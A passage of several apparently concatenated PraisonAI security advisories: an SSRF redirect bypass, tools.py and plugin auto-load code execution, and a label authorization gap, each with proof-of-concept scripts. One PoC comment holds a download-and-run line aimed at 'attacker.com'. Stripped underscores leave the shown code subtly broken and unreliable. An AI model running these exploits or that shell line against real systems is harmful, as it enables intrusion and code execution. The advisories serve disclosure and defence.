- Set followredirects=False in crawlwithhttpx(), or handle redirects manually and validate each Location target before following it. - Centralize the URL validation used by server-side fetch tools. - Validate every resolved address using socket.getaddrinfo(), not only the first gethostbyname() result. - Reject loopback, private, link-local, reserved, multicast, unspecified, and cloud metadata destinations. - Add regression tests for direct loopback, public-to-loopback redirect, and allowed public-to-public redirects if redirect support remains intended.
PoV
python #!/usr/bin/env python3 """Local PoV for PraisonAI webcrawl redirect-target SSRF bypass.
This PoV uses only loopback servers. It monkeypatches DNS in-process so the initial attacker host looks public to PraisonAI's pre-request guard, while the HTTP request is routed to a local redirect server. The redirect target is a loopback-only internal service. The vulnerable behavior is that webcrawl() validates the initial URL but follows the redirect to loopback without revalidating the Location target. """
from future import annotations
import http.server import os import socket import socketserver import threading from typing import Any
from praisonaiagents.tools.webcrawltools import webcrawl
class InternalHandler(http.server.BaseHTTPRequestHandler): body = b"INTERNAL-SECRET-FROM-LOOPBACK"
def doGET(self) -> None: # noqa: N802 self.server.hit = True # type: ignore[attr-defined] self.sendresponse(200) self.sendheader("Content-Type", "text/plain") self.sendheader("Content-Length", str(len(self.body))) self.endheaders() self.wfile.write(self.body)
def logmessage(self, args: Any) -> None: return
class RedirectHandler(http.server.BaseHTTPRequestHandler): target = ""
def doGET(self) -> None: # noqa: N802 self.server.hit = True # type: ignore[attr-defined] self.sendresponse(302) self.sendheader("Location", self.target) self.endheaders()
def logmessage(self, args: Any) -> None: return
def main() -> int: os.environ.pop("ALLOWLOCALCRAWL", None)
internal = socketserver.TCPServer(("127.0.0.1", 0), InternalHandler) internal.hit = False # type: ignore[attr-defined] internalport = internal.serveraddress[1]
RedirectHandler.target = f"http://127.0.0.1:{internalport}/secret" redirect = socketserver.TCPServer(("127.0.0.1", 0), RedirectHandler) redirect.hit = False # type: ignore[attr-defined] redirectport = redirect.serveraddress[1]
threading.Thread(target=internal.serveforever, daemon=True).start() threading.Thread(target=redirect.serveforever, daemon=True).start()
originalgethostbyname = socket.gethostbyname originalgetaddrinfo = socket.getaddrinfo
def fakegethostbyname(host: str) -> str: if host == "attacker.test": return "93.184.216.34" return originalgethostbyname(host)
def fakegetaddrinfo(host: str, port: int, args: Any, kwargs: Any): if host == "attacker.test": return originalgetaddrinfo("127.0.0.1", port, args, kwargs) return originalgetaddrinfo(host, port, args, kwargs)
socket.gethostbyname = fakegethostbyname socket.getaddrinfo = fakegetaddrinfo try: directcontrol = webcrawl( f"http://127.0.0.1:{internalport}/secret", provider="httpx", ) redirectresult = webcrawl( f"http://attacker.test:{redirectport}/go", provider="httpx", ) finally: socket.gethostbyname = originalgethostbyname socket.getaddrinfo = originalgetaddrinfo redirect.shutdown() internal.shutdown() redirect.serverclose() internal.serverclose()
print("DIRECTCONTROL:", directcontrol) print("REDIRECTRESULT:", redirectresult) print("REDIRECTSERVERHIT:", bool(redirect.hit)) # type: ignore[attr-defined] print("INTERNALSERVERHIT:", bool(internal.hit)) # type: ignore[attr-defined]
if not isinstance(directcontrol, dict) or "No valid or safe URLs" not in str(directcontrol): raise SystemExit("control failed: direct loopback was not blocked") if not isinstance(redirectresult, dict): raise SystemExit("bypass failed: unexpected result type") if "INTERNAL-SECRET-FROM-LOOPBACK" not in str(redirectresult.get("content", "")): raise SystemExit("bypass failed: redirect target content was not returned") if not bool(redirect.hit) or not bool(internal.hit): # type: ignore[attr-defined] raise SystemExit("bypass failed: expected local servers were not hit")
print("PRAI-CAND-001 CONFIRMED: webcrawl follows a redirect to loopback") return 0
if name == "main": raise SystemExit(main())
Summary
PraisonAI's workflow include implementation implicitly imports and executes an included recipe's tools.py file even when the documented tools.py autoload opt-in is unset.
This bypasses the hardening added for the prior automatic tools.py RCE advisory family. A workflow that includes an untrusted local recipe can execute arbitrary Python module-level code before any model call or child workflow execution.
The same sink is reachable through the higher-level praisonai.recipe.run() recipe API when a steps-based recipe workflow includes a local child recipe. The supplementary PoV demonstrates this route without starting a network service or relying on external APIs.
This is distinct from the previously published toolresolver.py, api/call.py, templates/tooloverride.py, and agentsgenerator.py variants. The affected callsite is the workflow include implementation in praisonaiagents, reached through the documented/covered Include workflow composition feature.
Affected Components
- Package: praisonaiagents - File: praisonaiagents/workflows/workflows.py - Sink: Workflow.executeinclude() - Current affected callsite:
python toolspy = recipepath / "tools.py" if toolspy.exists(): spec = importlib.util.specfromfilelocation("recipetools", toolspy) recipemodule = importlib.util.modulefromspec(spec) spec.loader.execmodule(recipemodule)
The current head also contains a similar unguarded workflow-local tools.py import in resolvepydanticclass(). That adjacent sink is not needed for the primary impact claim because the include path has a cleaner public workflow execution path and local PoV.
Security Boundary
PraisonAI documents secure defaults for implicit tools.py autoload:
- PRAISONAIALLOWTEMPLATETOOLS controls implicit template/CWD tools.py autoload and is disabled by default. - PRAISONAIALLOWLOCALTOOLS controls automatic loading of local tools.py files and requires the value true. - Explicit override files/directories are the recommended way to load custom tools without the implicit autoload opt-in. - Existing regression tests for GHSA-xcmw-grxf-wjhj assert that template/CWD tools.py must not execute by default.
Workflow.executeinclude() does not check PRAISONAIALLOWTEMPLATETOOLS, does not check PRAISONAIALLOWLOCALTOOLS, and does not route through the shared safe loader before executing the included recipe's tools.py.
The report is not claiming that workflow includes themselves are unintended. Local tests in the repository cover Include, include(), YAML include parsing, and include-in-loop behavior. The security issue is specifically that the include implementation executes the included recipe's tools.py unconditionally instead of respecting the same implicit-tool-loading gates used elsewhere.
The report also is not claiming that recipe tools.py files are inherently unsafe or unsupported. Official recipe documentation describes tools.py as the place for custom functions and dynamic variables. The issue is the implicit execution mode: official tool-override documentation says implicit tools.py autoload from CWD or template directories is disabled by default, with explicit override files/directories recommended for new projects.
Impact
An attacker who can cause a victim process to run a workflow that includes an attacker-controlled local recipe directory can execute arbitrary Python code as the PraisonAI process user.
The payload runs during include setup, before child workflow parsing or any LLM/model call. The PoV only writes a local marker file.
Reproduction
Run the attached local-only PoV:
bash python3 pov.py
Expected vulnerable output:
text VULNERABLE: included recipe tools.py executed with PRAISONAIALLOWLOCALTOOLS and PRAISONAIALLOWTEMPLATETOOLS unset marker=... markercontent=executed
The PoV:
1. Unsets PRAISONAIALLOWLOCALTOOLS and PRAISONAIALLOWTEMPLATETOOLS. 2. Creates a temporary childrecipe/tools.py with a marker-write payload. 3. Creates a minimal childrecipe/workflow.yaml. 4. Runs Workflow(steps=[include("childrecipe")]).run(...). 5. Confirms the marker file was written before any model-backed workflow step is needed.
Supplementary higher-level API check:
bash python3 povreciperun.py
Expected vulnerable output:
text VULNERABLE: praisonai.recipe.run() reached workflow include tools.py execution with PRAISONAIALLOWLOCALTOOLS and PRAISONAIALLOWTEMPLATETOOLS unset recipestatus=success recipeok=True marker=... markercontent=executed
Validation
Tested vulnerable:
- Current head: bcb6957dac1bc8949866522948a9f61d7e4bd4c1 - Latest release tag: v4.6.56 (praisonai==4.6.56, praisonaiagents==1.6.56) - Older affected tag: v3.9.26 (praisonai==3.9.26, praisonaiagents==0.12.12)
Negative/control observations:
- v3.9.24 does not expose the same include helper/API used by this PoV. - The hardened praisonai.templates.tooloverride.createtoolregistrywithoverrides(..., templatedir=...) path does not execute tools.py when PRAISONAIALLOWTEMPLATETOOLS is unset. - Existing regression test src/praisonai/tests/unit/templates/testtooloverrideautoloadgate.py states that implicit recipe/template tools.py autoload should be gated behind PRAISONAIALLOWTEMPLATETOOLS. - Include is a first-class workflow feature, not an accidental private method: repository tests cover include() imports, YAML include parsing, direct Workflow.executeinclude presence, and include steps inside loops. - praisonai.recipe.run() also reaches the sink through steps-based recipe workflow execution. This strengthens API reachability but does not change the base severity claim to Critical because a clean unauthenticated remote route for this exact include sink was not validated.
Root Cause
The include implementation reintroduced a direct importlib.util.specfromfilelocation() plus spec.loader.execmodule() path outside the centralized safe loader and template override gate. Prior fixes hardened several tools.py autoload chokepoints, but this workflow include sibling callsite still executes module-level code unconditionally.
Suggested Fix
Route included-recipe tool loading through the same security policy used by the template tool override system.
Conservative options:
1. Do not implicitly load included recipe tools.py by default. 2. Only load it when PRAISONAIALLOWTEMPLATETOOLS is explicitly truthy. 3. Prefer explicit toolssources, overridefiles, or a caller-supplied registry for custom tools. 4. Add regression coverage for Workflow(steps=[include("...")]) proving included recipe tools.py does not execute with the opt-in unset. 5. Consider using AST-based discovery for names where possible, and delay execution until an explicitly configured tool is invoked under the appropriate policy.
If local workflow includes are intended to use PRAISONAIALLOWLOCALTOOLS instead, the same principle applies: the include sink should call a shared helper and should not perform raw execmodule() directly.
Severity
Rationale: exploitation requires causing a victim/local process to process an attacker-controlled workflow/include or recipe directory, but no privileges are required once the workflow is run, attack complexity is low, and successful exploitation gives arbitrary Python code execution in the PraisonAI process.
Critical/network severity is not claimed for the base report because a clean unauthenticated remote path for this exact include sink on current head was not validated.
Appendix A - pov.py
python #!/usr/bin/env python3 """Local PoV for PraisonAI workflow include tools.py autoload.
This PoV uses only local files and the public workflow API. It verifies whether a workflow-local include executes the included recipe's tools.py even when the PRAISONAIALLOWLOCALTOOLS opt-in is unset. """
from future import annotations
import os import shutil import sys import tempfile from pathlib import Path
MARKERNAME = "praiworkflowincludetoolsautoloadmarker.txt"
def finddefaultrepo() -> Path: for parent in Path(file).resolve().parents: candidate = parent / "artifacts" / "repos" / "praisonai-current" if candidate.exists(): return candidate raise RuntimeError("Could not locate artifacts/repos/praisonai-current")
def main() -> int: repo = Path(os.environ.get("PRAISONAIPOVREPO", str(finddefaultrepo()))).resolve() sys.path.insert(0, str(repo / "src" / "praisonai-agents")) sys.path.insert(0, str(repo / "src" / "praisonai"))
os.environ.pop("PRAISONAIALLOWLOCALTOOLS", None) os.environ.pop("PRAISONAIALLOWTEMPLATETOOLS", None)
workdir = Path(tempfile.mkdtemp(prefix="prai-include-autoload-")) oldcwd = Path.cwd() try: recipe = workdir / "childrecipe" recipe.mkdir() marker = workdir / MARKERNAME
(recipe / "tools.py").writetext( "from pathlib import Path\n" f"Path({str(marker)!r}).writetext('executed')\n" "def benigntool():\n" " return 'ok'\n", encoding="utf-8", ) (recipe / "workflow.yaml").writetext( "name: child\n" "steps: []\n", encoding="utf-8", )
os.chdir(workdir)
from praisonaiagents.workflows.workflows import Workflow, include
workflow = Workflow(steps=[include("childrecipe")]) workflow.run(input="", llm="dummy/local", stream=False)
if marker.exists(): print( "VULNERABLE: included recipe tools.py executed with " "PRAISONAIALLOWLOCALTOOLS and PRAISONAIALLOWTEMPLATETOOLS unset" ) print(f"marker={marker}") print(f"markercontent={marker.readtext(encoding='utf-8')}") return 0
print("NOT VULNERABLE: included recipe tools.py did not execute") return 1 finally: os.chdir(oldcwd) shutil.rmtree(workdir, ignoreerrors=True)
if name == "main": raise SystemExit(main())
Appendix B - povreciperun.py
python #!/usr/bin/env python3 """Supplementary local PoV through praisonai.recipe.run().
This exercises the higher-level recipe API. It does not start a network server or rely on any external service. The payload writes a local marker file only. """
from future import annotations
import os import shutil import sys import tempfile from pathlib import Path
MARKERNAME = "praireciperunincludetoolsautoloadmarker.txt"
def finddefaultrepo() -> Path: for parent in Path(file).resolve().parents: candidate = parent / "artifacts" / "repos" / "praisonai-current" if candidate.exists(): return candidate raise RuntimeError("Could not locate artifacts/repos/praisonai-current")
def main() -> int: repo = Path(os.environ.get("PRAISONAIPOVREPO", str(finddefaultrepo()))).resolve() sys.path.insert(0, str(repo / "src" / "praisonai-agents")) sys.path.insert(0, str(repo / "src" / "praisonai"))
os.environ.pop("PRAISONAIALLOWLOCALTOOLS", None) os.environ.pop("PRAISONAIALLOWTEMPLATETOOLS", None)
workdir = Path(tempfile.mkdtemp(prefix="prai-recipe-include-autoload-")) oldcwd = Path.cwd() try: parentrecipe = workdir / "parentrecipe" childrecipe = workdir / "childrecipe" parentrecipe.mkdir() childrecipe.mkdir() marker = workdir / MARKERNAME
(parentrecipe / "TEMPLATE.yaml").writetext( "name: parentrecipe\n" "version: 1.0.0\n" "workflow: workflow.yaml\n", encoding="utf-8", ) (parentrecipe / "workflow.yaml").writetext( "name: parent\n" "steps:\n" " - include: childrecipe\n", encoding="utf-8", ) (childrecipe / "workflow.yaml").writetext( "name: child\n" "steps: []\n", encoding="utf-8", ) (childrecipe / "tools.py").writetext( "from pathlib import Path\n" f"Path({str(marker)!r}).writetext('executed')\n" "def benigntool():\n" " return 'ok'\n", encoding="utf-8", )
os.chdir(workdir)
from praisonai import recipe
result = recipe.run(str(parentrecipe), input={}, options={"force": True})
if marker.exists(): print( "VULNERABLE: praisonai.recipe.run() reached workflow include " "tools.py execution with PRAISONAIALLOWLOCALTOOLS and " "PRAISONAIALLOWTEMPLATETOOLS unset" ) print(f"recipestatus={result.status}") print(f"recipeok={result.ok}") print(f"marker={marker}") print(f"markercontent={marker.readtext(encoding='utf-8')}") return 0
print("NOT VULNERABLE: recipe.run() did not execute included recipe tools.py") print(f"recipestatus={result.status}") print(f"recipeerror={result.error}") return 1 finally: os.chdir(oldcwd) shutil.rmtree(workdir, ignoreerrors=True)
if name == "main": raise SystemExit(main())
Summary The plugin manager loads and executes arbitrary .py files from .praisonai/plugins/ directories (both project-level and user home) via importlib.util.specfromfilelocation() + execmodule() with zero code signing, integrity verification, or sandboxing. Any attacker who can write a file to the plugins directory (via path traversal, supply chain attack, or compromised dependency) achieves arbitrary code execution when the plugin system initializes.
Details
src/praisonai-agents/praisonaiagents/plugins/manager.py (lines 163-196):
python def loadpluginfile(self, filepath: Path) -> Optional[Plugin]: modulename = f"praisonplugin{filepath.stem}{id(filepath)}" spec = importlib.util.specfromfilelocation(modulename, filepath) module = importlib.util.modulefromspec(spec) sys.modules[modulename] = module spec.loader.execmodule(module) # Executes arbitrary Python code
if hasattr(module, "createplugin"): return module.createplugin() # Calls arbitrary function
src/praisonai-agents/praisonaiagents/plugins/discovery.py (lines 38-39):
python Auto-discovery paths: 1. Project: ./.praisonai/plugins/ 2. User: ~/.praisonai/plugins/
No code signing, hash verification, or sandboxing is applied. The only validation is checking for a Plugin Name field in the file's docstring header.
PoC
python from praisonaiagents.plugins.discovery import loadplugin import tempfile, os
Create a "malicious" plugin testdir = tempfile.mkdtemp() pluginfile = os.path.join(testdir, 'evil.py') with open(pluginfile, 'w') as f: f.write('"""\nPlugin Name: Evil Plugin\nDescription: test\nVersion: 1.0.0\n"""\n' 'PROOF = "CODEEXECUTEDATIMPORTTIME"\n' '# In a real attack: os.system("curl attacker.com/shell.sh | bash")\n' 'def createplugin():\n return {"name": "evil"}\n')
Load it result = loadplugin(pluginfile) print(f"Result: {result}") # {'name': 'Evil Plugin', ...}
Verify code executed import sys for name, mod in sys.modules.items(): if 'evil' in name: print(f"EXPLOIT CONFIRMED: {mod.PROOF}") # "CODEEXECUTEDATIMPORTTIME"
Tested result: Plugin file was loaded via execmodule(), and the PROOF variable confirmed code execution at import time.
Impact
- Arbitrary code execution: Any .py file in the plugins directory is executed with full Python access - No user interaction required: Plugins are auto-discovered and loaded at framework initialization - Persistence: A planted plugin survives restarts and executes every time the framework starts - Attack chain: Combine with path traversal (writefile tool) to plant the plugin remotely
Platform members can rewrite shared labels and owner issue labels without owner/admin authorization
Summary
praisonai-platform lets an ordinary workspace member rename and recolor shared labels and add/remove labels on an owner-created issue even though direct label deletion is restricted to workspace admin/owner authority in current releases.
Technical Details
The affected boundary is the difference between ordinary workspace membership and authority to mutate shared workspace triage taxonomy or owner-created issue workflow state. src/praisonai-platform/praisonaiplatform/api/routes/labels.py defines PATCH /workspaces/{workspaceid}/labels/{labelid} with user: AuthIdentity = Depends(requireworkspacemember). The route verifies the label belongs to the URL workspace, then calls LabelService.update(labelid, body.name, body.color), which writes the shared label name/color.
The paired label delete route shows a stricter intended boundary. DELETE /workspaces/{workspaceid}/labels/{labelid} also verifies the label belongs to the URL workspace, but then calls requiredeletepermission(workspaceid, user, session) before deleting. requiredeletepermission() allows workspace admins/owners, or a supplied resourceownerid; because labels have no per-label owner passed to the helper, direct label deletion is effectively admin/owner-only. The local controls confirm that a normal member receives 403 for direct label deletion in current head, 0.1.6, and 0.1.8.
The issue-label link routes have the same under-authorized write boundary. POST /workspaces/{workspaceid}/issues/{issueid}/labels/{labelid} and DELETE /workspaces/{workspaceid}/issues/{issueid}/labels/{labelid} require only workspace membership after confirming the issue and label belong to the URL workspace. They then call LabelService.addtoissue(issueid, labelid) or LabelService.removefromissue(issueid, labelid) without checking whether the caller owns the issue or has workspace admin/owner authority.
As a result, a member who cannot delete a label can still rename/recolor that shared label, remove it from an owner-created issue, and add it back. The non-member controls return 403, so this is not the older cross-workspace IDOR; it is a same-workspace owner/admin authorization gap that remains after workspace scoping checks.
PoV
the PoV starts the PraisonAI Platform FastAPI app in process with an in-memory SQLite database. It creates an owner, a member, and an outsider; the owner creates a workspace, adds the member as a plain member, creates an owner issue, creates a label, and attaches the label to that issue. The member then attempts the direct label delete control and the three label write actions.
Essential excerpt:
python memberdeletelabel = await client.delete( f"/api/v1/workspaces/{workspaceid}/labels/{memberdeletecontrollabelid}", headers=memberheaders, )
memberpatchlabel = await client.patch( f"/api/v1/workspaces/{workspaceid}/labels/{labelid}", json={"name": "Member-controlled triage", "color": "#000000"}, headers=memberheaders, )
memberremovefromownerissue = await client.delete( f"/api/v1/workspaces/{workspaceid}/issues/{ownerissueid}/labels/{labelid}", headers=memberheaders, )
memberaddbacktoownerissue = await client.post( f"/api/v1/workspaces/{workspaceid}/issues/{ownerissueid}/labels/{labelid}", headers=memberheaders, )
outsiderpatchlabel = await client.patch( f"/api/v1/workspaces/{workspaceid}/labels/{labelid}", json={"name": "Outsider attempt"}, headers=outsiderheaders, )
The full PoV script is included in the appendix below.
PoC
Current head tested:
text 846568c7a5d8ce9e71e56e4c213f027c04909753 2026-06-17 20:13:04 +0100 chore: clean up redundant 'persist-credentials' entries in GitHub workflows
Run against a local checkout of current head:
sh uv run --with fastapi --with httpx --with sqlalchemy --with greenlet --with aiosqlite --with 'pydantic[email]>=2.10.0' --with PyJWT --with 'passlib[bcrypt]>=1.7.4' --with 'bcrypt==4.0.1' python povplatformlabelauthorizationbypass.py --repo ./PraisonAI --json
Decisive current-head output:
json { "source": "git:846568c7a5d8ce9e71e56e4c213f027c04909753", "vulnerable": true, "checks": { "initialownerissuelabels": [ "Owner triage" ], "memberdirectlabeldelete": 403, "memberpatchlabel": 200, "ownerobservedlabelnameaftermemberpatch": "Member-controlled triage", "ownerobservedlabelcoloraftermemberpatch": "#000000", "memberremovelabelfromownerissue": 204, "ownerissuelabelsaftermemberremove": [], "memberaddlabeltoownerissue": 204, "ownerissuelabelsaftermemberadd": [ "Member-controlled triage" ], "nonmemberpatchlabel": 403, "nonmemberaddlabeltoissue": 403, "ownerdeletelabel": 204 } }
Run against the latest PyPI package observed during testing:
sh uv run --with 'praisonai-platform==0.1.8' --with fastapi --with httpx --with sqlalchemy --with greenlet --with aiosqlite --with 'pydantic[email]>=2.10.0' --with PyJWT --with 'passlib[bcrypt]>=1.7.4' --with 'bcrypt==4.0.1' python povplatformlabelauthorizationbypass.py --json
Decisive latest-PyPI output:
json { "source": "pypi:praisonai-platform==0.1.8", "vulnerable": true, "checks": { "memberdirectlabeldelete": 403, "memberpatchlabel": 200, "memberremovelabelfromownerissue": 204, "memberaddlabeltoownerissue": 204, "nonmemberpatchlabel": 403, "nonmemberaddlabeltoissue": 403 } }
Version sweep excerpt:
text current git:846568c7a5d8ce9e71e56e4c213f027c04909753: vulnerable=true delete=403 patch=200 remove=204 add=204 pypi:praisonai-platform==0.1.8: vulnerable=true delete=403 patch=200 remove=204 add=204 pypi:praisonai-platform==0.1.6: vulnerable=true delete=403 patch=200 remove=204 add=204 pypi:praisonai-platform==0.1.4: vulnerable=false delete=204 patch=200 remove=204 add=204
The 0.1.4 result is not a clean negative. It means direct member label deletion still returned 204 in that sampled version, so the narrower post-delete-guard bypass is masked by broader older delete behavior.
Impact
An ordinary workspace member can alter shared triage labels and owner issue label assignments without admin/owner authority. In a shared PraisonAI Platform workspace, that lets a member silently change label meaning, remove labels from owner-created issues so they disappear from label-based filters or boards, and re-add arbitrary labels to owner-created issues. The impact is integrity loss over workflow and triage state rather than code execution or data exfiltration.
Suggested severity: Medium. Suggested CVSS v3.1: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N (6.5). Suggested CWEs: CWE-862 Missing Authorization and CWE-863 Incorrect Authorization. The score is conservative: it assumes the attacker already has ordinary workspace member privileges and does not claim confidentiality or availability impact.
Suggested Fix
Define explicit write authorization for labels and issue-label links instead of treating all workspace members as label administrators. A minimal fix is to require workspace admin/owner authority for PATCH /labels/{labelid}, POST /issues/{issueid}/labels/{labelid}, and DELETE /issues/{issueid}/labels/{labelid} when the target issue or shared label was not created by the caller.
If labels are intended to be collaboratively editable by all members, make that policy explicit and align delete/update/link behavior. Otherwise, mirror the direct label delete route's admin/owner boundary for label taxonomy updates and require issue owner/admin authority before mutating labels on an existing issue.
Add regression tests for these cases: a member cannot rename/recolor a shared label if label management is admin/owner-only; a member cannot remove or add labels on an owner-created issue; a workspace admin/owner can still manage labels; a non-member still receives 403; and direct label deletion remains protected.
Affected Package/Versions
Affected package: pypi:praisonai-platform.
Latest PyPI version observed during testing: 0.1.8. Current head 846568c7a5d8ce9e71e56e4c213f027c04909753 is affected.
The post-delete-guard label write authorization gap is confirmed in sampled versions 0.1.6, 0.1.8, and current head. In sampled 0.1.4, direct member label deletion already returned 204, so the narrower post-delete-guard bypass is masked by broader older same-workspace delete behavior.
Suggested affected range for the post-delete-guard bypass: pypi:praisonai-platform >=0.1.6, <=0.1.8. No fixed version or fix commit was observed.
Advisory History
Visible PraisonAI Platform advisories include older label endpoint and same-workspace DELETE authorization reports. The closest overlap is the prior DELETE advisory; this report should be read as a remaining sibling/incomplete-fix style authorization gap where direct label deletion is now denied but label PATCH and issue-label link writes still succeed.
GHSA-5jx9-w35f-vp65 / CVE-2026-47414, "praisonai-platform: Label endpoints' unchecked labelid/issueid enable cross-workspace label IDOR (edit, delete, link)", covers cross-workspace label operations in <=0.1.2 and lists 0.1.4 as patched. This report is distinct because the PoV uses a single workspace, current head verifies the issue and label belong to that workspace, non-members receive 403, and the unauthorized actor is a legitimate same-workspace member crossing the owner/admin write boundary.
GHSA-rh39-9c67-59mh, "Missing ownership check on DELETE endpoints allows members to delete others' content in Platform API", covers same-workspace member DELETE access to projects, agents, issues, labels, issue dependencies, and issue-label attachments. This report overlaps that advisory on the issue-label attachment removal symptom, but the current PoV also shows the direct label DELETE path now returns 403 in current head, 0.1.6, and 0.1.8 while the sibling label PATCH and issue-label add/remove routes still return 200/204. If maintainers track the remaining issue-label DELETE behavior under GHSA-rh39-9c67-59mh, the new material here is the surviving shared-label PATCH authorization gap plus the post-delete-guard add/remove behavior demonstrated against current head and latest PyPI.
GHSA-2fjj-qqg8-fg7x, "Authorization Bypass Through User-Controlled Key in praisonai-platform", covers issue create/update accepting a body-supplied foreign projectid and polluting another workspace's project statistics. This report is distinct because it does not use cross-workspace body references or project statistics; it uses a legitimate member inside the same workspace to mutate shared label taxonomy and owner issue-label state.
GHSA-gv23-xrm3-8c62 covers older systemic cross-workspace object lookup and privilege escalation behavior. This report does not require foreign workspace ids or member-role escalation.
GHSA-xwq8-frcg-77q8 covers older issue endpoint cross-workspace IDOR. This report targets label taxonomy and issue-label association write authorization.
References
- https://github.com/advisories/GHSA-5jx9-w35f-vp65 - https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-rh39-9c67-59mh - https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-2fjj-qqg8-fg7x - https://github.com/advisories/GHSA-gv23-xrm3-8c62 - https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-xwq8-frcg-77q8 - https://cwe.mitre.org/data/definitions/862.html - https://cwe.mitre.org/data/definitions/863.html
Appendix A - Full PoV Script
Save this as povplatformlabelauthorizationbypass.py before running the PoC commands above.
python #!/usr/bin/env python3 """PoV for PraisonAI Platform label authorization gaps."""
from future import annotations
import argparse import asyncio import json import os import subprocess import sys from pathlib import Path from typing import Any
def loadlocalsource(repo: Path | None) -> None: if repo is None: return platformroot = repo / "src" / "praisonai-platform" agentsroot = repo / "src" / "praisonai-agents" for path in (str(platformroot), str(agentsroot)): if path not in sys.path: sys.path.insert(0, path)
async def register(client: Any, email: str, name: str) -> tuple[str, str]: response = await client.post( "/api/v1/auth/register", json={"email": email, "password": "Password1!", "name": name}, ) if response.statuscode >= 400: raise RuntimeError(f"register failed for {email}: {response.statuscode} {response.text}") body = response.json() return body["token"], body["user"]["id"]
async def createissue( client: Any, workspaceid: str, headers: dict[str, str], title: str, ) -> str: response = await client.post( f"/api/v1/workspaces/{workspaceid}/issues/", json={"title": title, "priority": "high"}, headers=headers, ) response.raiseforstatus() return response.json()["id"]
async def issuelabelnames( client: Any, workspaceid: str, issueid: str, headers: dict[str, str], ) -> list[str]: response = await client.get( f"/api/v1/workspaces/{workspaceid}/issues/{issueid}/labels", headers=headers, ) response.raiseforstatus() return [label["name"] for label in response.json()]
async def run(repo: Path | None) -> dict[str, Any]: os.environ["PLATFORMJWTSECRET"] = "local-poc-secret-32-bytes-minimum" loadlocalsource(repo)
from httpx import ASGITransport, AsyncClient from sqlalchemy.ext.asyncio import createasyncengine
from praisonaiplatform.api.app import createapp from praisonaiplatform.db import base as basemod from praisonaiplatform.db.base import Base, resetengine
await resetengine() engine = createasyncengine( "sqlite+aiosqlite:///:memory:", echo=False, connectargs={"checksamethread": False}, ) basemod.engine = engine basemod.sessionfactory = None async with engine.begin() as conn: await conn.runsync(Base.metadata.createall)
app = createapp() transport = ASGITransport(app=app) async with AsyncClient(transport=transport, baseurl="http://local-poc") as client: ownertoken, ownerid = await register(client, "owner@example.com", "Owner") membertoken, memberid = await register(client, "member@example.com", "Member") outsidertoken, outsiderid = await register( client, "outsider@example.com", "Outsider" )
ownerheaders = {"Authorization": f"Bearer {ownertoken}"} memberheaders = {"Authorization": f"Bearer {membertoken}"} outsiderheaders = {"Authorization": f"Bearer {outsidertoken}"}
wsresp = await client.post( "/api/v1/workspaces/", json={"name": "Shared Workspace", "slug": "shared-workspace"}, headers=ownerheaders, ) wsresp.raiseforstatus() workspaceid = wsresp.json()["id"]
addmember = await client.post( f"/api/v1/workspaces/{workspaceid}/members", json={"userid": memberid, "role": "member"}, headers=ownerheaders, ) addmember.raiseforstatus()
ownerissueid = await createissue( client, workspaceid, ownerheaders, "Owner issue" )
labelresp = await client.post( f"/api/v1/workspaces/{workspaceid}/labels", json={"name": "Owner triage", "color": "#ff0000"}, headers=ownerheaders, ) labelresp.raiseforstatus() labelid = labelresp.json()["id"]
ownerdeletecontrollabelresp = await client.post( f"/api/v1/workspaces/{workspaceid}/labels", json={"name": "Owner delete control", "color": "#00ff00"}, headers=ownerheaders, ) ownerdeletecontrollabelresp.raiseforstatus() ownerdeletecontrollabelid = ownerdeletecontrollabelresp.json()["id"]
memberdeletecontrollabelresp = await client.post( f"/api/v1/workspaces/{workspaceid}/labels", json={"name": "Member delete control", "color": "#0000ff"}, headers=ownerheaders, ) memberdeletecontrollabelresp.raiseforstatus() memberdeletecontrollabelid = memberdeletecontrollabelresp.json()["id"]
ownerattach = await client.post( f"/api/v1/workspaces/{workspaceid}/issues/{ownerissueid}/labels/{labelid}", headers=ownerheaders, ) ownerattach.raiseforstatus() initialissuelabels = await issuelabelnames( client, workspaceid, ownerissueid, ownerheaders )
memberdeletelabel = await client.delete( f"/api/v1/workspaces/{workspaceid}/labels/{memberdeletecontrollabelid}", headers=memberheaders, )
memberpatchlabel = await client.patch( f"/api/v1/workspaces/{workspaceid}/labels/{labelid}", json={"name": "Member-controlled triage", "color": "#000000"}, headers=memberheaders, ) ownerlabellistafterpatch = await client.get( f"/api/v1/workspaces/{workspaceid}/labels", headers=ownerheaders, )
memberremovefromownerissue = await client.delete( f"/api/v1/workspaces/{workspaceid}/issues/{ownerissueid}/labels/{labelid}", headers=memberheaders, ) labelsaftermemberremove = await issuelabelnames( client, workspaceid, ownerissueid, ownerheaders )
memberaddbacktoownerissue = await client.post( f"/api/v1/workspaces/{workspaceid}/issues/{ownerissueid}/labels/{labelid}", headers=memberheaders, ) labelsaftermemberadd = await issuelabelnames( client, workspaceid, ownerissueid, ownerheaders )
outsiderpatchlabel = await client.patch( f"/api/v1/workspaces/{workspaceid}/labels/{labelid}", json={"name": "Outsider attempt"}, headers=outsiderheaders, ) outsideraddtoissue = await client.post( f"/api/v1/workspaces/{workspaceid}/issues/{ownerissueid}/labels/{labelid}", headers=outsiderheaders, )
ownerdeletelabel = await client.delete( f"/api/v1/workspaces/{workspaceid}/labels/{ownerdeletecontrollabelid}", headers=ownerheaders, )
await engine.dispose() basemod.engine = None basemod.sessionfactory = None
